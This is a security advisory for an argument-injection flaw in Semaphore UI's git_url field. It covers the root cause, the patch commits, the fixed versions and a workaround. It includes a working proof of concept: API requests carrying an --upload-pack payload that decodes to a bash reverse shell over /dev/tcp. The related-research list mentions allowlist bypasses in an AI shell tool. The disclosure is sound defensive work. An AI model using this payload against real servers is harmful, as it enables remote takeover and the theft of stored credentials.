CVE-2026-73294: Semaphore UI OS Command Injection via git_url Argument Injection
Any project Manager or Owner in Semaphore UI can inject an arbitrary OS command into the git_url field of a repository, causing the Semaphore server itself to execute it and giving the attacker a…

The problem
Semaphore UI passes the user-supplied git_url field directly to exec.Command("git", "ls-remote", <git_url>, <branch>) without validation or a -- end-of-options separator. Because git treats --upload-pack=<cmd> as a legitimate option, any string starting with that prefix becomes a shell command executed by git on the server.
The injection fires inside the main server process via the schedule commit-hash poller, not inside a job runner. This means remote-runner isolation provides zero protection, and a successful exploit leaks the master access_key_encryption secret along with every project's stored credentials.
Proof of concept
A working proof-of-concept for CVE-2026-73294 in github.com/semaphoreui/semaphore, with the exact payload below.
# Step 1 — create a repository with the injected git_url (as a Manager/Owner)
POST /api/project/1/repositories
Content-Type: application/json
{
"name": "r",
"project_id": 1,
"git_url": "--upload-pack=bash -c \"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash\";true",
"git_branch": "master",
"ssh_key_id": 1
}
# Step 2 — create a schedule referencing that repository (triggers the poller)
POST /api/project/1/schedules
Content-Type: application/json
{
"name": "s",
"project_id": 1,
"template_id": 1,
"repository_id": <repo_id_from_step1>,
"cron_format": "* * * * *"
}
# Within ~60 s the schedule fires; git executes:
# sh -c "bash -c 'echo <b64> | base64 -d | bash' 'master'"
# The base64 payload decodes to: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1The root cause is two missing controls acting together. First, Repository.Validate() in db/Repository.go checks the branch for a leading - via ValidateGitBranch, but applies no equivalent check to GitURL, accepting any non-empty string verbatim. Second, CmdGitClient.GetLastRemoteCommitHash in db_lib/CmdGitClient.go builds the git ls-remote argv with no -- separator before the URL, so a value starting with --upload-pack= is parsed by git as an option rather than a positional argument.
git's --upload-pack option is documented to execute its value via sh -c, which is intentional git behavior for custom transports. The fault is entirely Semaphore's: it passes attacker-controlled data into that argv slot without sanitization. The CWE chain is CWE-88 (argument injection) promoting to CWE-78 (OS command injection).
The patch commits (7e8a9434 and a7a7a33a) add ValidateGitURL to reject option-like prefixes and insert a -- separator before the URL in the ls-remote invocation, closing both vectors.
The fix
Upgrade to Semaphore UI v2.18.17 (stable) or v2.19.5-beta2. The fixes land in commit 7e8a9434bd81b82cf42220151c74801ea97542d6 and a7a7a33a64aea382a0726b3722856f298663eacf: git_url is now rejected if it begins with -- or another option-like prefix, and git ls-remote is called with -- before the URL argument.
If you cannot upgrade immediately, restrict project Manager/Owner role assignment to fully trusted users only.
Reported by fiftin (Denis Gukov).
Related research
- high · 7.6CVE-2026-73292CVE-2026-73292: Semaphore UI CSRF Password Takeover
- high · 8.8CVE-2026-73293CVE-2026-73293: Semaphore UI Manager-to-Owner Privilege Escalation via Custom Role Slug Collision
- high · 8.4CVE-2026-55582CVE-2026-55582: mcp-shell Secure Mode Allowlist Bypass via Git Shell Alias
- high · 8.4CVE-2026-55581CVE-2026-55581: mcp-shell Secure Mode Allowlist Bypass via /bin/bash -c